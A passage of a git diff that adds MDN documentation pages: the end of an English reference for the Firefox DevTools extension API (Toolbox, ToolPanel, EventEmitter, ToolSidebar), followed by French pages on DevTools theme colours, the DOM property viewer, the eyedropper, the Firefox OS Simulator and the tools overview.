+ A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the loaded panel once the tool has loaded.
+  
+
+
selectTool(toolId)
+
+
Selects the tool with the given toolId.
+
+ Parameters:
+ toolId {String} - The tool identifier.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the selected panel once the tool has loaded and activated.
+
+
selectNextTool()
+
+
Selects the next tool in the Toolbox.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the selected panel.
+
+
selectPreviousTool()
+
+
Selects the previous tool in the Toolbox.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the selected panel.
+
+
highlightTool(toolId)
+
+
Highlights the tab for the given tool.
+
+ Parameters:
+ toolId {String} - The tool to highlight.
+
+
unhighlightTool(toolId)
+
+
Unhighlights the tab for the given tool.
+
+ Parameters:
+ toolId {String} - The tool to unhighlight.
+
+
openSplitConsole()
+
+
Opens the split Console to the bottom of the toolbox.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled once the Console has loaded.
+
+
closeSplitConsole()
+
+
Closes the split console.
+
+
toggleSplitConsole()
+
+
Toggles the state of the split console.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled once the operation has finished.
+
+
switchHost(hostType)
+
+
Switches the location of the toolbox
+
+ Parameters:
+ hostType {Toolbox.HostType} - The type of the new host.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled once the new host is ready.
+  
+
+
reloadTarget(force)
+
+
Reloads the current target of the toolbox.
+
+ Parameters:
+ force {Boolean} - If true the target is shift-reloaded i.e. the cache is bypassed during the reload.
+
+
zoomIn()
+
+
Increases the zoom level of the Toolbox document.
+
+
zoomOut()
+
+
Decreases the zoom level of the Toolbox document.
+
+
zoomReset()
+
+
Resets the zoom level of the Toolbox document.
+
+
setZoom(value)
+
+
Set the zoom level to an arbitrary value.
+
+ Parameters:
+ value {Number} - The zoom level such as 1.2.
+
+
destroy()
+
+
Closes the toolbox.
+
+ Return value:
+ A {{domxref("Promise")}} that is resolved once the Toolbox is destroyed.
+
+ +

Events

+ +

The Toolbox object emits following events via the {{anch("EventEmitter")}} interface.

+ +
+
+
host-changed
+
+
The Host for this Toolbox has changed.
+
+
ready
+
+
The Toolbox is ready to use.
+
+
select(toolId)
+
+
A tool has been selected. This event is emitted before the corresponding {toolId}-selected event.
+
+
{toolId}-init(frame)
+
+
A tool is about to be loaded. The frame is the {{HTMLElement("iframe")}} element that has been created for the tool.
+
+
{toolId}-build(panel)
+
+
The frame for a tool has loaded and the {{anch("build(window_toolbox)", "ToolPanel.build()")}} method has been called but the asynchronous initialization has not started. The parameter is a {{anch("ToolPanel")}} object.
+
+
{toolId}-ready(panel)
+
+
The asynchronous initialization for a tool has completed and it is ready to be used. The parameter is a {{anch("ToolPanel")}} object.
+
+
{toolId}-selected(panel)
+
+
A tool has been selected. The parameter is a {{anch("ToolPanel")}} object.
+
+
{toolId}-destroy(panel)
+
+
A tool is about to be destroyed. The parameter is a {{anch("ToolPanel")}} object.
+
+
destroy
+
+
The Toolbox is about to be destroyed.
+
+
destroyed
+
+
The Toolbox has been destroyed.
+
+ +

ToolDefinition

+ +

A ToolDefinition object contains all the required information for a tool to be shown in the toolbox.

+ +

Methods

+ +
+
+
isTargetSupported(target)
+
+
A method that is called during toolbox construction to check if the tool supports debugging the given target.
+
+ Parameters:
+ target {Target} - The target to check.
+
+ Return value:
+ A boolean indicating if the tool supports the given target.
+
+
build(window, toolbox)
+
+
A method that builds the {{anch("ToolPanel")}} for this tool.
+
+ Parameters:
+ window {Window} - The {{domxref("Window")}} object for frame the tool is being built into.
+ toolbox {Toolbox} - The {{anch("Toolbox")}} the tool is being built for.
+
+ Return value:
+ A {{anch("ToolPanel")}} for the tool.
+
+
onKey(panel, toolbox)
+
+
Optional. A method that is called when the keyboard shortcut for the tool is activated while the tool is the active tool.
+
+ Parameters:
+ panel {ToolPanel} - The {{anch("ToolPanel")}} for the tool.
+ toolbox {Toolbox} - The toolbox for the shortcut was triggered for.
+
+ Return value:
+ Undefined.
+
+ +

Properties

+ +

The ToolDefinition object can contain following properties. Most of them are optional and can be used to customize the presense of the tool in the Browser and the Toolbox.

+ +
+
+
id
+
+
String, required. An unique identifier for the tool. It must be a valid id for an HTML {{domxref("Element")}}.
+
+
url
+
+
String, required. An URL of the panel document.
+
+
label
+
+
String, optional. The tool's name. If undefined the icon should be specified.
+
+
tooltip
+
+
String, optional. The tooltip for the tool's tab.
+
+
panelLabel
+
+
String, optional. An accessibility label for the panel.
+
+
ordinal
+
+
Integer, optional. The position of the tool's tab within the toolbox. Default: 99
+
+
visibilityswitch
+
+
String, optional. A preference name that controls the visiblity of the tool. Default: devtools.{id}.enabled
+
+
icon
+
+
String, optional. An URL for the icon to show in the toolbox tab. If undefined the label should be defined.
+
+
highlightedicon
+
+
String, optional. An URL for an icon that is to be used when the tool is highlighted (see e.g. paused, inactive debugger). Default: {icon}
+
+
iconOnly
+
+
Boolean, optional. If true, the label won't be shown in the tool's tab. Default: false
+
+
invertIconForLightTheme
+
+
Boolean, optional. If true the colors of the icon will be inverted for the light theme. Default: false
+
+
key
+
+
String, optional. The key used for keyboard shortcut. Either {{XULAttr("key")}} or {{XULAttr("keycode")}} value.
+
+
modifiers
+
+
String, optional. {{XULAttr("modifiers", "Modifiers")}} for the keyboard shortcut.
+
+
preventClosingOnKey
+
+
Boolean, optional. If true the tool won't close if its keybinding is pressed while it is active. Default: false
+
+
inMenu
+
+
Boolean, optional. If true the tool will be shown in the Developer Menu. Default: false
+
+ +
+
String, optional. A label for the Developer Menu item. Default: {label}
+
+
accesskey
+
+
String, optional. {{XULAttr("accesskey")}} for the Developer Menu {{XULElem("menuitem")}}.
+
+ +

Example

+ +

Here's a minimal definition for a tool.

+ +
let def = {
+  id: "my-tool",
+  label: "My Tool",
+  icon: "chrome://browser/skin/devtools/tool-webconsole.svg",
+  url: "about:blank",
+  isTargetSupported: target => true,
+  build: (window, toolbox) => new MyToolPanel(window, toolbox)
+};
+
+// Register it.
+gDevTools.registerTool(def);
+
+ +

TargetType

+ +

FIXME:

+ +

HostType

+ +

FIXME

+ +

ToolPanel

+ +

The ToolPanel is an interface the toolbox uses to manage the panel of a tool. The object that ToolDefinition.build() returns should implement the methods described below.

+ +

Methods

+ +
+
+
open()
+
+
Optional. A method that can be used to perform asynchronous initialization. If the method returns a {{domxref("Promise")}}, many operations (e.g. {{anch("showToolbox(target_toolId_hostType_hostOptions)", "gDevTools.showToolbox()")}} or toolbox.selectTool()) and events (e.g. {{anch("toolbox-ready(toolbox)", "toolbox-ready")}}) are delayed until the promise has been fulfilled.
+
+ Return value:
+ The method should return a {{domxref("Promise")}} that is resolved with the ToolPanel object once it's ready to be used.
+
+
destroy()
+
+
+

A method that is called when the toolbox is closed or the tool is unregistered. If the tool needs to perform asynchronous operations during destruction the method should return a {{domxref("Promise")}} that is resolved once the process is complete.

+ +

Return value:
+ A {{domxref("Promise")}} if the function performs asynchronous operations, otherwise undefined.

+
+
+ +

Example

+ +

Here's a basic template for a ToolPanel implementation.

+ +
// In the ToolDefintion object, do
+//   build: (window, target) => new MyPanel(window, target),
+
+function MyPanel(window, target) {
+  // The window object that has loaded the URL defined in the ToolDefinition
+  this.window = window;
+  // The Target this toolbox is debugging.
+  this.target = target;
+
+  // Do synchronous initialization here.
+  window.document.body.addEventListener("click", this.handleClick);
+}
+
+MyPanel.prototype = {
+  open: function() {
+    // Any asynchronous operations should be done here.
+    return this.doSomethingAsynchronous()
+      .then(() => this);
+  },
+
+  destroy: function() {
+    // Synchronous destruction.
+    this.window.document.body.removeEventListener("click", this.handleClick);
+
+    // Async destruction.
+    return this.destroySomethingAsynchronosly()
+      .then(() => console.log("destroyed"));
+  },
+
+  handleClick: function(event) {
+    console.log("Clicked", event.originalTarget);
+  },
+};
+
+ +

EventEmitter

+ +

EventEmitter is an interface many Developer Tool classes and objects implement and use to notify others about changes in their internal state.

+ +

When an event is emitted on the EventEmitter, the listeners will be called with the event name as the first argument and the extra arguments are spread as the remaining parameters.

+ +
+

Note: Some components use Add-on SDK event module instead of the DevTools EventEmitter. Unfortunately, their API's are a bit different and it's not always evident which one a certain component is using. The main differences between the two modules are that the first parameter for Add-on SDK events is the first payload argument instead of the event name and the once method does not return a Promise. The work for unifying the event paradigms is ongoing in {{bug(952653)}}.

+
+ +

Methods

+ +

The following methods are available on objects that have been decorated with the EventEmitter interface.

+ +
+
+
emit(eventName, ...extraArguments)
+
+
Emits an event with the given name to this object.
+
+ Parameters:
+ eventName {String} - The name of the event.
+ extraArguments {...Any} - Extra arguments that are passed to the listeners.
+
+
on(eventName, listener)
+
+
Adds a listener for the given event.
+
+
off(eventName, listener)
+
+
Removes the previously added listener from the event.
+
+
once(eventName, listener)
+
+
Adds a listener for the event that is removed after it has been emitted once.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled with the first extra argument for the event when then event is emitted. If the event contains multiple payload arguments, the rest are discarded and can only be received by providing the listener function to this method.
+
+ +

Examples

+ +

Here's a few examples using the {{anch("gDevTools")}} object.

+ +
let onInit = (eventName, toolbox, netmonitor) => console.log("Netmonitor initialized!");
+
+// Attach a listener.
+gDevTools.on("netmonitor-init", onInit);
+
+// Remove a listener.
+gDevTools.off("netmonitor-init", onInit);
+
+// Attach a one time listener.
+gDevTools.once("netmonitor-init", (eventName, toolbox, netmonitor) => {
+  console.log("Network Monitor initialized once!", toolbox, netmonitor);
+});
+
+// Use the Promise returned by the once method.
+gDevTools.once("netmonitor-init").then(toolbox => {
+  // Note that the second argument is not available here.
+  console.log("Network Monitor initialized to toolbox", toolbox);
+});
+
+ +

ToolSidebar

+ +

To build a sidebar in your tool, first, add a xul:tabbox where you want the sidebar to live:

+ +
    <splitter class="devtools-side-splitter"/>
+    <tabbox id="mytool-sidebar" class="devtools-sidebar-tabs" hidden="true">
+      <tabs/>
+      <tabpanels flex="1"/>
+    </tabbox>
+ +
+ +
A sidebar is composed of tabs. Each tab will hold an iframe. For example, in the Inspector, there are 3 tabs (Computed View, Rule View, Layout View). The user can select the tab he wants to see.
+ +
+ +
If the availability of the tabs depends on some tool-related conditions, we might want to not let the user select a tab. This API provides methods to hide the tabstripe. For example, in the Web Console, there are 2 views (Network View and Object View). These views are only available in certain conditions controlled by the WebConsole code. So it's up the WebConsole the hide and show the sidebar, and select the correct tab.
+ +
+ +
If the loaded document exposes a window.setPanel(ToolPanel) function, the sidebar will call it once the document is loaded.
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MethodDescription
new ToolSidebar(xul:tabbox, ToolPanel, uid, showTabstripe=true)ToolSidebar constructor
void addTab(tabId, url, selected=false)Add a tab in the sidebar
void select(tabId)Select a tab
void hide()Hide the sidebar
void show()Show the sidebar
void toggle()Toggle the sidebar
void getWindowForTab(tabId)Get the iframe containing the tab content
tabId getCurrentTabID()Return the id of tabId of the current tab
tabbox getTab(tabId)Return a tab given its id
destroy()Destroy the ToolSidebar object
EventsDescription
new-tab-registeredA new tab has been added
{tabId}-readyTab is loaded and can be used
{tabId}-selectedTab has been selected and is visible
{tabId}-unselectedTab has been unselected and is not visible
showThe sidebar has been opened.
hideThe sidebar has been closed.
+ +

Examples

+ +

Register a tool

+ +
gDevTools.registerTool({
+  // FIXME: missing key related properties.
+  id: "inspector",
+  icon: "chrome://browser/skin/devtools/inspector-icon.png",
+  url: "chrome://browser/content/devtools/inspector/inspector.xul",
+  get label() {
+    let strings = Services.strings.createBundle("chrome://browser/locale/devtools/inspector.properties");
+    return strings.GetStringFromName("inspector.label");
+  },
+
+  isTargetSupported: function(target) {
+    return !target.isRemote;
+  },
+
+  build: function(iframeWindow, toolbox, node) {
+    return new InspectorPanel(iframeWindow, toolbox, node);
+  }
+});
+ +

Open a tool, or select it if the toolbox is already open:

+ +
let target = TargetFactory.forTab(gBrowser.selectedTab);
+let toolbox = gDevTools.openToolbox(target, null, "inspector");
+
+toolbox.once("inspector-ready", function(event, panel) {
+  let inspector = toolbox.getToolPanels().get("inspector");
+  inspector.selection.setNode(target, "browser-context-menu");
+});
+ +

Add a sidebar to an existing tool:

+ +
let sidebar = new ToolSidebar(xulTabbox, toolPanel, "toolId");
+sidebar.addTab("tab1", "chrome://browser/content/.../tab1.xhtml", true);
+sidebar.addTab("tab2", "chrome://browser/content/.../tab2.xhtml", false);
+sidebar.show();
diff --git a/files/fr/tools/devtoolscolors/index.html b/files/fr/tools/devtoolscolors/index.html new file mode 100644 index 0000000000..afe2c7f12a --- /dev/null +++ b/files/fr/tools/devtoolscolors/index.html @@ -0,0 +1,331 @@ +--- +title: Couleurs des DevTools +slug: Outils/Couleurs_des_DevTools +tags: + - CSS +translation_of: Tools/DevToolsColors +--- +
{{ToolsSidebar}}
+ +
+

Ne changez aucune des ces valeurs sans l’approbation de l'UX. Si une des valeurs doit être changée, il sera alors nécessaire de modifier du code CSS dans /browser/themes/*/devtools/. Remplissez un bug Devtools si besoin.

+
+ +

Ce tableau liste les couleurs et les variables CSS tels qu'implémentées dans le thème sombre et clair de des outils de développement.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Thème sombreThème lumineuxVariable CSS
+

Couleurs Chrome

+ 		 
Onglets de barre d'outils +
 
+ +

#252c33
+ rgba(37, 44, 51, 1)

+ 		+
 
+ #ebeced
+ rgba(235, 236, 237, 1)		--theme-tab-toolbar-background
Barre d'outils +
 
+ #343c45
+ rgba(52, 60, 69, 1)		 +
 
+ #f0f1f2
+ rgba(240, 241, 242, 1)		--theme-toolbar-background
Fond de sélection +
 
+ #1d4f73
+ rgba(29, 79, 115, 1)		 +
 
+ #4c9ed9
+ rgba(76, 158, 217, 1)		--theme-selection-background
Couleur du texte de sélection +
 
+ #f5f7fa
+ rgba(245, 247, 250, 1)		 +
 
+ #f5f7fa
+ rgba(245, 247, 250, 1)		--theme-selection-color
Séparateurs +
 
+ #000000
+ rgba(0, 0, 0, 1)		 +
 
+ #aaaaaa
+ rgba(170, 170, 170, 1)		--theme-splitter-color
Commentaires +
 
+ +

#5c6773
+ rgba(92, 103, 115, 1)

+ 		+
 
+ +

#747573
+ rgba(116, 117, 115, 1)

+ 		--theme-comment
+

Couleurs de contenu

+ 		 
Fond du "Body" +
 
+ #14171a
+ rgba(17, 19, 21, 1)		 +
 
+ #fcfcfc
+ rgba(252, 252, 252, 1)		--theme-body-background
Fond de la "Sidebar" +
 
+ #181d20
+ rgba(24, 29, 32, 1)		 +
 
+ #f7f7f7
+ rgba(247, 247, 247, 1)		--theme-sidebar-background
Fond de l'Attention +
 
+ #b28025
+ rgba(178, 128, 37, 1)		 +
 
+ #e6b064
+ rgba(230, 176, 100, 1)		--theme-contrast-background
+

Couleurs de texte

+ 		 
Texte du "Body" +
 
+ #8fa1b2
+ rgba(143, 161, 178, 1)		 +
 
+ #18191a
+ rgba(24, 25, 26, 1)		--theme-body-color
Texte de premier plan gris +
 
+ #b6babf
+ rgba(182, 186, 191, 1)		 +
 
+ #585959
+ rgba(88, 89, 89, 1)		--theme-body-color-alt
Texte de contenu de haut contraste +
 
+ #a9bacb
+ rgba(169, 186, 203, 1)		 +
 
+ #292e33
+ rgba(41, 46, 51, 1)		--theme-content-color1
Texte de contenu gris +
 
+ #8fa1b2
+ rgba(143, 161, 178, 1)		 +
 
+ #8fa1b2
+ rgba(143, 161, 178, 1)		--theme-content-color2
Texte de contenu gris sombre +
 
+ #667380
+ rgba(102, 115, 128, 1)		 +
 
+ #667380
+ rgba(102, 115, 128, 1)		--theme-content-color3
+

Couleurs de surbrillance

+ 		 
Bleu +
 
+ #46afe3
+ rgba(70, 175, 227, 1)		 +
 
+ #0088cc
+ rgba(0, 136, 204, 1)		--theme-highlight-blue
Violet +
 
+ #6b7abb
+ rgba(107, 122, 187, 1)		 +
 
+ #5b5fff
+ rgba(91, 95, 255, 1)		--theme-highlight-purple
Rose +
 
+ #df80ff
+ rgba(223, 128, 255, 1)		 +
 
+ #b82ee5
+ rgba(184, 46, 229, 1)		--theme-highlight-pink
Rouge +
 
+ #eb5368
+ rgba(235, 83, 104, 1)		 +
 
+ #ed2655
+ rgba(237, 38, 85, 1)		--theme-highlight-red
Orange +
 
+ #d96629
+ rgba(217, 102, 41, 1)		 +
 
+ #f13c00
+ rgba(241, 60, 0, 1)		--theme-highlight-orange
Orange clair +
 
+ #d99b28
+ rgba(217, 155, 40, 1)		 +
 
+ #d97e00
+ rgba(217, 126, 0, 1)		--theme-highlight-lightorange
Vert +
 
+ #70bf53
+ rgba(112, 191, 83, 1)		 +
 
+ #2cbb0f
+ rgba(44, 187, 15, 1)		--theme-highlight-green
Gris-bleu +
 
+ #5e88b0
+ rgba(94, 136, 176, 1)		 +
 
+ #0072ab
+ rgba(0, 114, 171, 1)		--theme-highlight-bluegrey
+ +
+

Non finalisé. voir le bug 916766.

+
diff --git a/files/fr/tools/dom_property_viewer/index.html b/files/fr/tools/dom_property_viewer/index.html new file mode 100644 index 0000000000..8eda3a90aa --- /dev/null +++ b/files/fr/tools/dom_property_viewer/index.html @@ -0,0 +1,46 @@ +--- +title: Visionneur de propriétés DOM +slug: Outils/DOM_Property_Viewer +tags: + - DOM + - Tools + - Web Development +translation_of: Tools/DOM_Property_Viewer +--- +
{{ToolsSidebar}}
+ +
Le visionneur de propriétés DOM est une des nouveautés de Firefox 48. Cet outil est désactivé par défaut. Pour l'utiliser, il faut l'activer dans les options des outils de développement.
+ +

Le visionneur de propriétés DOM permet d'inspecter les propriétés {{Glossary("DOM")}} en tant qu'arbre extensible. Cet arbre commence à partir de l'objet {{domxref("window")}} de la page actuelle ou de l'iframe sélectionné.

+ +

+ +

Activer le visionneur de propriétés DOM

+ +

Cet outil n'est pas activé par défaut. Pour l'activer, il faut ouvrir les options des outils de développement et cocher la case "DOM" dans la catégorie "Outils de développement par défaut".

+ +

Ouvrir le visionneur de propriétés DOM

+ +

Une fois l'outil activé, il est possible de l'ouvrir en sélectionnant l'onglet "DOM" depuis le menu développement du menu de Firefox (ou du menu Outils sous macOS).  Il est également possible d'utiliser le raccourci clavier Ctrl + Maj + W.

+ +

La Boite à outils apparaitra en bas du navigateur avec le visionneur de propriétés DOM activé. L'onglet s'appelle juste "DOM".

+ +

L'interface du visionneur de propriétés DOM

+ +

Arbre DOM

+ +

Les différentes propriétés du DOM sont affichées sous la forme d'un arbre extensible. La partie gauche affiche le nom des propriétés, tandis que la partie droite leur valeur. La valeur n'affiche au maximum que trois propriétés d'un objet ou trois propriétés d'un tableau. Si une propriété a plus de trois éléments, une annotation "...more" est ajoutée à la fin. Si une propriété n'est pas éditable, une icône de cadenas est ajoutée.

+ +

Actualiser l'affichage

+ +

Si le DOM change, il est possible d'appuyer sur le bouton "Actualiser" actualisera l'affichage :

+ +

Button to update the DOM Inspector display

+ +

Filtrage

+ +

Il y a un barre de recherche dans la barre d'outils :

+ +

+ +

Cela filtre l'arbre pour n'afficher que les éléments qui correspondent à la recherche. Les éléments qui correspondent sont les éléments dont le nom est contenu dans la recherche. La correspondance est sensible à la case.

diff --git a/files/fr/tools/eyedropper/index.html b/files/fr/tools/eyedropper/index.html new file mode 100644 index 0000000000..090cf16ce1 --- /dev/null +++ b/files/fr/tools/eyedropper/index.html @@ -0,0 +1,47 @@ +--- +title: Pipette à couleur +slug: Outils/Pipette_à_couleur +tags: + - Firefox + - Tools + - 'Web Development:Tools' +translation_of: Tools/Eyedropper +--- +
{{ToolsSidebar}}
+

La pipette à couleur est unes des nouvautées de Firefox 31.

+
+ +

La pipette à couleur vous permet de sélectionner des couleurs dans la page courante. Cela marche comme une loupe au-dessus de la page, vous permettant de sélectionner au pixel près. En dessous de la loupe, le code couleur du pixel courant est affiché sous le format choisi dans Options > Inspecteur > Unité par défaut pour les couleurs :

+ +

Vous pouvez l'utiliser de deux manières :

+ +
    +
  • pour sélectionner une couleur depuis la page et la copier dans le presse-papier
    • +
  • pour changer une couleur dans l'inspecteur web vers une couleur que vous avez sélectionnée dans la page
    • +
+ +

Copier une couleur dans le presse-papier

+ +

Ouvrez la pipette d'une des deux manières suivantes :

+ + + +

En même temps que vous bougez votre curseur sur la page, vous voyez la couleur associée dans la pipette. Cliquez pour copier le code couleur dans le presse-papier.

+ +

{{EmbedYouTube("xf2uk6UyRB8")}}

+ +

Changer la valeur d'une couleur dans la colonne vue.

+ +

Les valeurs des couleurs qui apparaissent dans la partie Règle de l'Inspecteur ont un échantillon de la couleur à côté d'elles : cliquer sur l'échantillon fait apparaître une fenêtre de sélection de couleurs. Depuis Firefox 31, cette fenêtre contient aussi une petite pipette : cliquer sur l'icône active la Pipette.

+ +

Maintenant, lorsque vous cliquez sur la Pipette, la couleur dans la colonne Règle a pour valeur la couleur que vous avez choisie.

+ +


+ {{EmbedYouTube("0Zx1TN21QOo")}}

+ +

Raccourcis clavier

+ +

{{ Page ("fr/docs/Outils/Keyboard_shortcuts", "Pipette") }}

diff --git a/files/fr/tools/firefox_os_simulator_clone/index.html b/files/fr/tools/firefox_os_simulator_clone/index.html new file mode 100644 index 0000000000..5df5c6b15f --- /dev/null +++ b/files/fr/tools/firefox_os_simulator_clone/index.html @@ -0,0 +1,88 @@ +--- +title: Simulateur Firefox OS +slug: Outils/Firefox_OS_Simulator_clone +translation_of: Tools/Firefox_OS_Simulator_clone +--- +
{{ToolsSidebar}}
+

Cette  page décrit le Simulateur Firefox OS à l'attention des développeurs qui ciblent Firefox OS à partir de la version 1.2. Si vous développez des applications pour Firefox OS 1.1, il faut à la place consulter la documentation pour le Simulateur Firefox OS 1.1.

+
+ +

Le Simulateur Firefox OS est une version des couches supérieures de Firefox OS qui permet de simuler le fonctionnement d'un appareil Firefox OS sur un ordinateur de bureau. Cela signifie que dans la plupart des cas, il n'est pas nécessaire d'avoir un véritable appareil pour tester et déboguer votre application. Il s'affiche dans une fenêtre de la même taille qu'un appareil Firefox OS, comprend l'interface utilisateur de Firefox OS et ses applications intégrées, et simule la plupart des APIs des appareils Firefox OS.

+ +

Le Simulateur est distribué comme un module complémentaire pour Firefox. Une fois que vous l'avez téléchargé et installé dans Firefox, vous pouvez le lancer, y envoyer des applications ainsi qu'utiliser les outils de développement avec le Gestionnaire d'applications, et à l'heure actuelle dans Nightly/Aurora, avec WebIDE.

+ +

Installation

+ +

Pour installer le simulateur, utilisez le panneau de gestion des Simulateurs dans WebIDE (disponible dans Firefox à partir de la version 33). Plusieurs versions sont disponibles, et il est conseillé de toutes les installer pour un maximum de flexibilité.

+ +

Pour lancer le Simulateur, choisissez-le dans la liste des environnements de WebIDE. Pour plus de détails, voir les instructions dans la documentation de WebIDE. Une fois le Simulateur lancé, vous pouvez y envoyer des applications et les déboguer grâce à WebIDE, comme vous le feriez avec un vrai appareil.

+ +

Si vous utilisez le Gestionnaire d'applications (l'ancien outil, disponible avant WebIDE), vous pouvez installer un simulateur en cliquant sur le bouton suivant :

+ +

Installer le Simulateur

+ +

L'interface du Simulateur

+ +

Le Simulateur apparaît dans une fenêtre séparée, dimensionnée de manière à ce que l'écran simulé fasse 320x480 pixels. Pour simuler les événements tactiles, vous pouvez cliquer avec la souris et glisser en maintenant le bouton enfoncé. Donc, en cliquant et glissant de la droite vers la gauche sur l'écran d'accueil, vous verrez les applications intégrées tout comme celles que vous avez ajoutées :

+ +

+ +

Le Simulateur dispose de deux boutons dans la barre d'outils en bas de l'écran :

+ +
    +
  • Le bouton de gauche vous renvoie à l'écran d'accueil, ou éteint le Simulateur si vous le maintenez enfoncé.
    • +
  • Le bouton de droite bascule entre portrait et paysage l'orientation de l'écran du Simulateur. Cela générera un événement orientationchange.
    • +
+ +

Limitations du Simulateur

+ +

Notez que le Simulateur Firefox OS ne réalise pas une simulation parfaite.

+ +

Limitations au niveau du matériel

+ +

À part la taille de l'écran, le Simulateur ne simule pas les limitations du matériel d'un appareil Firefox OS comme la mémoire disponible ou la vitesse du CPU.

+ +

Codecs audio/vidéo

+ +

Les codecs suivants dépendent du décodage pris en charge par le matériel et ne sont donc pas encore supportés :

+ +
    +
  • MP3
    • +
  • AAC
    • +
  • H.264 (MP4)
    • +
  • WebM
    • +
+ +

Cela implique qu'il n'est pas possible d'utiliser le Simulateur pour tester la lecture de vidéo dans des applications ni sur des sites web comme Youtube qui reposent sur ces codecs.

+ +

APIs non supportées

+ +

Certaines APIs qui fonctionnent sur un appareil ne fonctionneront pas sur le Simulateur, en général parce que le matériel supporté n'est pas disponible sur l'ordinateur. Nous avons implémenté des simulations pour quelques APIs comme la géolocalisation, et envisageons d'en ajouter davantage dans les versions à venir. Néanmoins, à l'heure actuelle, les APIs suivantes ne sont pas prises en charge. Le fait de les utiliser peut générer des erreurs ou juste renvoyer des résultats incorrects :

+ + + +

Obtenir de l'aide

+ +

Si vous avez une question, essayez de nous la poser sur la liste de diffusion dev-developer-tools ou sur #devtools on irc.mozilla.org.

+ +

Comment activer la journalisation verbeuse

+ +

Vous pouvez voir les messages enregistrés dans les journaux de votre application dans la Console Web, cette dernière pouvant être liée à votre app en utilisant WebIDE. Si vous souhaitez capturer plus tôt les messages qui surviennent durant le démarrage de l'application, avant que la console ne soit connectée et fonctionnelle, vous pouvez activer l'enregistrement verbeux des journaux dans le Simulateur.

+ +

Allez sur about:config et créer une nouvelle préférence. Le nom de la préférence est différent selon la version du Simulateur :

+ +
    +
  • extensions.fxos_1_3_simulator@mozilla.org.sdk.console.logLevel pour Firefox OS 1.3
    • +
  • extensions.fxos_1_2_simulator@mozilla.org.sdk.console.logLevel pour Firefox OS 1.2
    • +
+ +

Attribuez-lui la valeur chaîne "all", désactivez, puis réactivez le module dans les modules complémentaires. À présent, des messages supplémentaires concernant les opérations du Simulateur apparaîtront dans la Console du navigateur.

diff --git a/files/fr/tools/index.html b/files/fr/tools/index.html new file mode 100644 index 0000000000..50ac8a8db2 --- /dev/null +++ b/files/fr/tools/index.html @@ -0,0 +1,225 @@ +--- +title: Outils de développement Firefox +slug: Outils +tags: + - Développement Web + - 'Développement Web:Outils' + - Firefox + - Guide + - Outils +translation_of: Tools +--- +
{{ToolsSidebar}}
+ +

Examinez, modifiez et déboguez du HTML, des CSS et du JavaScript sur ordinateur ou sur mobile.

+ +

Si vous cherchez des informations sur l'utilisation des outils de développement disponibles dans Firefox, vous êtes au bon endroit.

+ +

Cette page fournit des liens vers des informations détaillées sur tous les outils principaux et additionnels de Firefox. Ainsi que d'autres liens vers par exemple : comment connecter et déboguer Firefox pour Android, comment étendre les outils de développement, et comment déboguer le navigateur lui-même.

+ +

Nous vous encourageons à explorer les liens de la barre latérale, et ceux dans la page, pour en apprendre plus sur les outils de développement. Si vous avez des retours ou des problèmes sur ces outils, vous pouvez nous envoyer des messages sur notre mailing-list ou notre canal IRC (Voir les liens communauté, vers la fin de la page). Si vous avez des questions ou des retours spécifiquement sur la documentation, MDN discourse est l'endroit parfait.

+ +
+

Note: Si vous débutez dans le développement web et/ou l'utilisation des outils de développement, la page apprendre le développement web peut vous aider. Vous pouvez également consulter Commencer avec le web et Découvrir les outils de développement des navigateurs.

+
+ +

Outils principaux

+ +

Les outils de développement peuvent être ouverts avec Ctrl + Shift + I ou F12 sous Windows et Linux, et Cmd + Opt + I sous macOS.

+ +

La partie droite de la barre d'outils contient plusieurs boutons qui permettent d'effectuer des actions, ou de changer certaines options des outils.

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + +
Ce bouton apparait lorsqu'il y a plusieurs iframe dans la page. Cliquer dessus affiche la liste des iframes sur la page actuelle, et permet de sélectionner celle ciblée par les outils.
Ce bouton permet de prendre une capture d'écran de la page. (Note: Cette fonctionnalité n'est pas activée par défaut, et doit être activée dans les paramètres avant).
Active le mode Vue Adaptative.
Ouvre le menu qui inclut les options d'ancrage, la possibilités d'activer la console scindée, et d'afficher les options des outils de développement. Ce menu inclut également des liens vers la documentation des outils de développement de Firefox et vers la communauté Mozilla.
Ferme les outils de développement.
+ +
+
+

Inspecteur

+ +

The all-new Inspector panel in Firefox 57.

+ +

Permet de voir et modifier une page en HTML et en CSS. Permet de visualiser différents aspects de la page y compris les animations, l'agencement de la grille.

+
+ +
+

Console Web

+ +

The all-new Console in Firefox 57.

+ +

Affiche les messages émis par la page web. Permet également d'interagir avec la page via JavaScript.

+
+
+ +
+
+
+

Débogueur JavaScript

+ +

The all-new Firefox 57 Debugger.html

+ +

Permet de parcourir, stopper, examiner et modifier le code JavaScript s’exécutant dans une page

+
+ +
+

Réseau

+ +

The Network panel in Firefox 57 DevTools.

+ +

Permet d'inspecter les requêtes réseau lors du chargement de la page.

+
+
+ +
+
+
+

Performances

+ +

Performance Tools in Firefox 57 Developer Tools

+ +

Permet d'analyser les performances de la réactivité globale, du JavaScript et, de l'agencement des sites.

+
+ +
+

Vue Adaptative

+ +

Responsive Design mode in Firefox 57.

+ +

Permet de voir comment un site web ou une application se comporte avec différents types d'appareils et de connexions.

+
+
+ +
+
+

Inspecteur d'Accessibilité

+ +

Performance Tools in Firefox 57 Developer Tools

+ +

Permet d’examiner l’arborescence d’accessibilité de la page courante, qui est utilisée par les lecteurs d’écran et d’autres technologies d’assistance, afin de pouvoir savoir ce qui manque ou ce qui peut être amélioré.

+
+ +
+
+ +
+

